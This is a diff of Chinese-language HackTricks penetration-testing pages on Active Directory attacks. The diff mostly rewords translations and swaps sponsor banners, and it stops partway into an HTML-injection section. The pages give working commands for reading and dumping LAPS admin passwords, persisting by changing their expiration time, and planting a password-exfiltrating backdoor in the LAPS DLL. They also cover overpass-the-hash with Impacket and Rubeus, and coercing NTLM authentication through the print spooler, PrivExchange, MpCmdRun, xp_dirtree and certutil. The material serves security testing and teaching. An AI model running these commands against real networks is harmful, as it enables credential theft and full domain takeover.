<summary>Support HackTricks</summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks中宣传**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -19,9 +22,9 @@
|
|||
|
||||
## 基本信息
|
||||
|
||||
本地管理员密码解决方案(LAPS)是一种用于管理系统的工具,其中**管理员密码**是**唯一的、随机的,并经常更改**,应用于加入域的计算机。这些密码安全地存储在Active Directory中,只有通过访问控制列表(ACLs)授予权限的用户才能访问。通过使用**Kerberos版本5**和**高级加密标准(AES)**,确保了从客户端到服务器的密码传输的安全性。
|
||||
本地管理员密码解决方案(LAPS)是一种用于管理系统的工具,其中**管理员密码**是**唯一的、随机生成的,并且经常更改**,适用于加入域的计算机。这些密码安全地存储在Active Directory中,仅对通过访问控制列表(ACL)获得权限的用户可访问。通过使用**Kerberos版本5**和**高级加密标准(AES)**确保从客户端到服务器的密码传输安全。
|
||||
|
||||
在域的计算机对象中,LAPS的实施会添加两个新属性:**`ms-mcs-AdmPwd`**和**`ms-mcs-AdmPwdExpirationTime`**。这些属性分别存储**明文管理员密码**和**其过期时间**。
|
||||
在域的计算机对象中,LAPS的实施导致添加两个新属性:**`ms-mcs-AdmPwd`**和**`ms-mcs-AdmPwdExpirationTime`**。这些属性分别存储**明文管理员密码**和**其过期时间**。
|
||||
|
||||
### 检查是否已激活
|
||||
```bash
|
||||
|
@ -36,11 +39,11 @@ Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name,
|
|||
# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
|
||||
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname
|
||||
```
|
||||
### LAPS密码访问
|
||||
### LAPS 密码访问
|
||||
|
||||
您可以从 `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` 下载原始的LAPS策略,然后使用 [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) 包中的 **`Parse-PolFile`** 来将此文件转换为可读格式。
|
||||
您可以从 `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` **下载原始 LAPS 策略**,然后使用 [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) 包中的 **`Parse-PolFile`** 将此文件转换为人类可读的格式。
|
||||
|
||||
此外,如果我们可以访问的机器上安装了**本机LAPS PowerShell cmdlet**,也可以使用:
|
||||
此外,如果在我们可以访问的机器上安装了 **本地 LAPS PowerShell cmdlets**,也可以使用它们:
|
||||
```powershell
|
||||
Get-Command *AdmPwd*
|
||||
|
||||
|
@ -61,7 +64,7 @@ Find-AdmPwdExtendedRights -Identity Workstations | fl
|
|||
# Read the password
|
||||
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
|
||||
```
|
||||
**PowerView** 也可以用来查找**谁可以读取密码并读取它**:
|
||||
**PowerView** 还可以用来找出 **谁可以读取密码并读取它**:
|
||||
```powershell
|
||||
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
|
||||
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
|
||||
|
@ -71,9 +74,9 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
|
|||
```
|
||||
### LAPSToolkit
|
||||
|
||||
[LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) 简化了对启用了 LAPS 的所有计算机进行枚举的过程。\
|
||||
其中一个功能是解析**`ExtendedRights`**以查找**启用了 LAPS 的所有计算机**。这将显示专门**委派为读取 LAPS 密码的组**,通常是受保护组中的用户。\
|
||||
一个**加入计算机到域的帐户**会在该主机上获得`All Extended Rights`,这个权限赋予了该**帐户读取密码**的能力。枚举可能会显示一个可以在主机上读取 LAPS 密码的用户帐户。这可以帮助我们**针对特定的 AD 用户**,他们可以读取 LAPS 密码。
|
||||
[LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) 通过几个功能促进了 LAPS 的枚举。\
|
||||
其中之一是解析 **`ExtendedRights`** 以获取 **所有启用 LAPS 的计算机。** 这将显示 **专门被委派读取 LAPS 密码的组,** 这些组通常是受保护组中的用户。\
|
||||
一个 **已将计算机** 加入域的 **帐户** 会获得该主机的 `All Extended Rights`,而这个权限使得 **帐户** 能够 **读取密码。** 枚举可能会显示一个可以在主机上读取 LAPS 密码的用户帐户。这可以帮助我们 **针对特定的 AD 用户**,这些用户可以读取 LAPS 密码。
|
||||
```powershell
|
||||
# Get groups that can read passwords
|
||||
Find-LAPSDelegatedGroups
|
||||
|
@ -97,16 +100,18 @@ ComputerName Password Expiration
|
|||
------------ -------- ----------
|
||||
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
|
||||
```
|
||||
## **使用Crackmapexec转储LAPS密码**
|
||||
如果没有访问powershell的权限,您可以通过LDAP远程滥用此特权。
|
||||
## **通过 Crackmapexec 转储 LAPS 密码**
|
||||
如果无法访问 PowerShell,您可以通过 LDAP 远程利用此权限。
|
||||
```
|
||||
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
|
||||
```
|
||||
## **LAPS持久性**
|
||||
这将转储用户可以读取的所有密码,使您能够以不同的用户获得更好的立足点。
|
||||
|
||||
### **过期日期**
|
||||
## **LAPS 持久性**
|
||||
|
||||
一旦获得管理员权限,就有可能**获取密码**并通过**将过期日期设置为未来日期**来**阻止**计算机**更新**其**密码**,从而获得更好的立足点。
|
||||
### **到期日期**
|
||||
|
||||
一旦成为管理员,就可以**获取密码**并通过**将到期日期设置为未来**来**防止**机器**更新**其**密码**。
|
||||
```powershell
|
||||
# Get expiration time
|
||||
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
|
||||
|
@ -116,30 +121,33 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
|
|||
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
如果**管理员**使用**`Reset-AdmPwdPassword`**命令; 或者在 LAPS GPO 中启用了**不允许密码过期时间超过策略要求**,密码仍然会被重置。
|
||||
如果**管理员**使用**`Reset-AdmPwdPassword`** cmdlet,或者在LAPS GPO中启用了**不允许密码过期时间超过政策要求**,密码仍然会被重置。
|
||||
{% endhint %}
|
||||
|
||||
### 后门
|
||||
|
||||
LAPS 的原始源代码可以在[这里](https://github.com/GreyCorbel/admpwd)找到,因此可以在代码中放置一个后门(例如在 `Main/AdmPwd.PS/Main.cs` 中的 `Get-AdmPwdPassword` 方法内),以某种方式**外泄新密码或将其存储在某处**。
|
||||
LAPS的原始源代码可以在[这里](https://github.com/GreyCorbel/admpwd)找到,因此可以在代码中放置一个后门(例如在`Main/AdmPwd.PS/Main.cs`中的`Get-AdmPwdPassword`方法内),以某种方式**提取新密码或将其存储在某处**。
|
||||
|
||||
然后,只需编译新的 `AdmPwd.PS.dll` 并将其上传到机器上的 `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll`(并更改修改时间)。
|
||||
然后,只需编译新的`AdmPwd.PS.dll`并将其上传到机器的`C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll`(并更改修改时间)。
|
||||
|
||||
## 参考资料
|
||||
## 参考
|
||||
* [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践AWS黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践GCP黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 您想看到您的**公司在 HackTricks 中做广告**吗? 或者您想访问**PEASS 的最新版本或下载 PDF 格式的 HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord 群组**](https://discord.gg/hRep4RUj7f) 或 **电报群组** 或在 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我。**
|
||||
* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享您的黑客技巧**。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,30 @@
|
|||
# Over Pass the Hash/Pass the Key
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Overpass The Hash/Pass The Key (PTK)
|
||||
|
||||
**Overpass The Hash/Pass The Key (PTK)**攻击旨在针对传统NTLM协议受限且Kerberos认证优先的环境。该攻击利用用户的NTLM哈希或AES密钥来获取Kerberos票据,从而未经授权地访问网络中的资源。
|
||||
**Overpass The Hash/Pass The Key (PTK)** 攻击旨在针对传统 NTLM 协议受到限制且 Kerberos 认证优先的环境。此攻击利用用户的 NTLM 哈希或 AES 密钥来请求 Kerberos 票证,从而实现对网络内资源的未经授权访问。
|
||||
|
||||
要执行此攻击,初始步骤涉及获取目标用户帐户的NTLM哈希或密码。在获得此信息后,可以获取帐户的票据授予票据(TGT),使攻击者能够访问用户具有权限的服务或计算机。
|
||||
要执行此攻击,第一步是获取目标用户帐户的 NTLM 哈希或密码。在获得此信息后,可以为该帐户获取票证授予票证 (TGT),允许攻击者访问用户有权限的服务或机器。
|
||||
|
||||
该过程可以通过以下命令启动:
|
||||
```bash
|
||||
|
@ -28,22 +32,22 @@ python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2
|
|||
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
|
||||
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
|
||||
```
|
||||
对于需要使用AES256的情况,可以利用`-aesKey [AES key]`选项。此外,获取的票据可以与各种工具一起使用,包括smbexec.py或wmiexec.py,从而扩大攻击范围。
|
||||
对于需要 AES256 的场景,可以使用 `-aesKey [AES key]` 选项。此外,获取的票证可以与各种工具一起使用,包括 smbexec.py 或 wmiexec.py,从而扩大攻击范围。
|
||||
|
||||
遇到诸如_PyAsn1Error_或_KDC cannot find the name_等问题通常可以通过更新Impacket库或使用主机名代替IP地址来解决,确保与Kerberos KDC兼容。
|
||||
遇到的问题,如 _PyAsn1Error_ 或 _KDC cannot find the name_,通常通过更新 Impacket 库或使用主机名而不是 IP 地址来解决,以确保与 Kerberos KDC 的兼容性。
|
||||
|
||||
使用Rubeus.exe的另一种命令序列展示了这种技术的另一个方面:
|
||||
使用 Rubeus.exe 的替代命令序列展示了该技术的另一个方面:
|
||||
```bash
|
||||
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
|
||||
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
|
||||
```
|
||||
这种方法反映了**通过密钥传递**的方法,重点是挪用并直接利用票证进行认证。值得注意的是,发起TGT请求会触发事件`4768:请求了一个Kerberos认证票证(TGT)`,默认情况下表示使用RC4-HMAC,尽管现代Windows系统更倾向于AES256。
|
||||
这种方法与 **Pass the Key** 方法相似,重点在于直接控制和利用票证进行身份验证。需要注意的是,TGT 请求的发起会触发事件 `4768: A Kerberos authentication ticket (TGT) was requested`,这表明默认使用 RC4-HMAC,尽管现代 Windows 系统更倾向于使用 AES256。
|
||||
|
||||
为了符合运行安全性并使用AES256,可以应用以下命令:
|
||||
为了符合操作安全并使用 AES256,可以应用以下命令:
|
||||
```bash
|
||||
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
|
||||
```
|
||||
## 参考
|
||||
## 参考文献
|
||||
|
||||
* [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)
|
||||
|
||||
|
@ -51,14 +55,17 @@ python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在 HackTricks 中被宣传**吗?或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,57 +1,60 @@
|
|||
# 强制使用 NTLM 特权身份验证
|
||||
# 强制 NTLM 特权认证
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 您想看到您的**公司在 HackTricks 中被广告**吗? 或者您想访问**PEASS 的最新版本或下载 PDF 格式的 HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## SharpSystemTriggers
|
||||
|
||||
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) 是一个使用 MIDL 编译器以避免第三方依赖关系编写的 **远程身份验证触发器** 集合。
|
||||
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) 是一个用 C# 编写的 **远程认证触发器** 的 **集合**,使用 MIDL 编译器以避免第三方依赖。
|
||||
|
||||
## Spooler Service 滥用
|
||||
## 打印机后台处理服务滥用
|
||||
|
||||
如果 _**打印池**_ 服务已**启用**,您可以使用一些已知的 AD 凭据向域控制器的打印服务器**请求**更新新的打印作业,并告诉它**将通知发送到某个系统**。\
|
||||
请注意,当打印机将通知发送到任意系统时,它需要对该系统进行**身份验证**。 因此,攻击者可以使 _**打印池**_ 服务对任意系统进行身份验证,而服务将在此身份验证中**使用计算机帐户**。
|
||||
如果 _**打印后台处理程序**_ 服务 **已启用,** 您可以使用一些已知的 AD 凭据向域控制器的打印服务器 **请求** 新打印作业的 **更新**,并告诉它 **将通知发送到某个系统**。\
|
||||
请注意,当打印机将通知发送到任意系统时,它需要 **对该系统进行认证**。因此,攻击者可以使 _**打印后台处理程序**_ 服务对任意系统进行认证,而该服务将在此认证中 **使用计算机账户**。
|
||||
|
||||
### 查找域上的 Windows 服务器
|
||||
### 在域中查找 Windows 服务器
|
||||
|
||||
使用 PowerShell 获取 Windows 服务器列表。 通常服务器是优先级较高的,因此让我们专注于这里:
|
||||
使用 PowerShell 获取 Windows 计算机的列表。服务器通常是优先考虑的,因此我们将重点放在这里:
|
||||
```bash
|
||||
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
|
||||
```
|
||||
### 寻找正在监听的打印池服务
|
||||
### 查找监听的Spooler服务
|
||||
|
||||
使用稍作修改的 @mysmartlogin(Vincent Le Toux)的 [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket),查看打印池服务是否正在监听:
|
||||
使用稍微修改过的@mysmartlogin(Vincent Le Toux)的[SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket),查看Spooler服务是否在监听:
|
||||
```bash
|
||||
. .\Get-SpoolStatus.ps1
|
||||
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
|
||||
```
|
||||
您也可以在Linux上使用rpcdump.py并查找MS-RPRN协议。
|
||||
您还可以在Linux上使用rpcdump.py并查找MS-RPRN协议
|
||||
```bash
|
||||
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
|
||||
```
|
||||
### 请求服务对任意主机进行身份验证
|
||||
|
||||
您可以从[**这里编译SpoolSample**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**。**
|
||||
您可以从这里编译[ **SpoolSample**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.**
|
||||
```bash
|
||||
SpoolSample.exe <TARGET> <RESPONDERIP>
|
||||
```
|
||||
或者在Linux上使用[**3xocyte的dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket)或[**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)
|
||||
或使用 [**3xocyte's dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) 或 [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) 如果你在 Linux 上
|
||||
```bash
|
||||
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
|
||||
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
|
||||
```
|
||||
### 结合无限制委派
|
||||
### 结合不受限制的委托
|
||||
|
||||
如果攻击者已经成功入侵了一个启用了[无限制委派](unconstrained-delegation.md)的计算机,攻击者可以**让打印机对该计算机进行身份验证**。由于存在无限制委派,**打印机的计算机帐户的TGT将被保存在**具有无限制委派的计算机的**内存**中。由于攻击者已经控制了这台主机,他将能够**检索此票证**并滥用它([传递票证](pass-the-ticket.md))。
|
||||
如果攻击者已经攻陷了一台具有[不受限制的委托](unconstrained-delegation.md)的计算机,攻击者可以**使打印机对该计算机进行身份验证**。由于不受限制的委托,**打印机的计算机帐户的TGT**将被**保存在**具有不受限制委托的计算机的**内存**中。由于攻击者已经攻陷了该主机,他将能够**检索此票证**并加以利用([Pass the Ticket](pass-the-ticket.md))。
|
||||
|
||||
## RCP 强制身份验证
|
||||
|
||||
|
@ -59,47 +62,62 @@ printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
|
|||
|
||||
## PrivExchange
|
||||
|
||||
`PrivExchange` 攻击是在**Exchange Server `PushSubscription`功能**中发现的一个缺陷的结果。该功能允许Exchange服务器被任何具有邮箱的域用户强制对任何客户端提供的主机进行HTTP身份验证。
|
||||
`PrivExchange`攻击是由于**Exchange Server `PushSubscription`功能**中的一个缺陷。该功能允许任何具有邮箱的域用户强制Exchange服务器通过HTTP对任何客户端提供的主机进行身份验证。
|
||||
|
||||
默认情况下,**Exchange服务以SYSTEM身份运行**并被赋予过多的特权(具体来说,在2019年之前的累积更新中,它具有**对域的WriteDacl特权**)。可以利用此缺陷来实现**将信息中继到LDAP,随后提取域NTDS数据库**。在无法中继到LDAP的情况下,仍然可以利用此缺陷来中继和对域内的其他主机进行身份验证。成功利用此攻击将立即授予具有任何经过身份验证的域用户帐户的域管理员访问权限。
|
||||
默认情况下,**Exchange服务以SYSTEM身份运行**,并被赋予过多的权限(具体来说,它在2019年之前的累积更新上具有**WriteDacl权限**)。这个缺陷可以被利用来启用**信息中继到LDAP并随后提取域NTDS数据库**。在无法中继到LDAP的情况下,这个缺陷仍然可以用于在域内中继和对其他主机进行身份验证。成功利用此攻击将立即授予任何经过身份验证的域用户帐户对域管理员的访问权限。
|
||||
|
||||
## 在Windows内部
|
||||
|
||||
如果您已经在Windows机器内部,您可以使用以下命令强制Windows使用特权帐户连接到服务器:
|
||||
如果您已经在Windows机器内部,可以使用以下命令强制Windows使用特权帐户连接到服务器:
|
||||
|
||||
### Defender MpCmdRun
|
||||
```bash
|
||||
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
|
||||
```
|
||||
### MSSQL
|
||||
|
||||
### MSSQL
|
||||
```sql
|
||||
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
|
||||
```
|
||||
或者使用另一种技术:[https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
|
||||
或使用这个其他技术: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
|
||||
|
||||
### Certutil
|
||||
|
||||
可以使用 certutil.exe lolbin(Microsoft 签名的二进制文件)来强制执行 NTLM 认证:
|
||||
可以使用 certutil.exe lolbin(微软签名的二进制文件)来强制 NTLM 认证:
|
||||
```bash
|
||||
certutil.exe -syncwithWU \\127.0.0.1\share
|
||||
```
|
||||
## HTML注入
|
||||
## HTML 注入
|
||||
|
||||
### 通过电子邮件
|
||||
|
||||
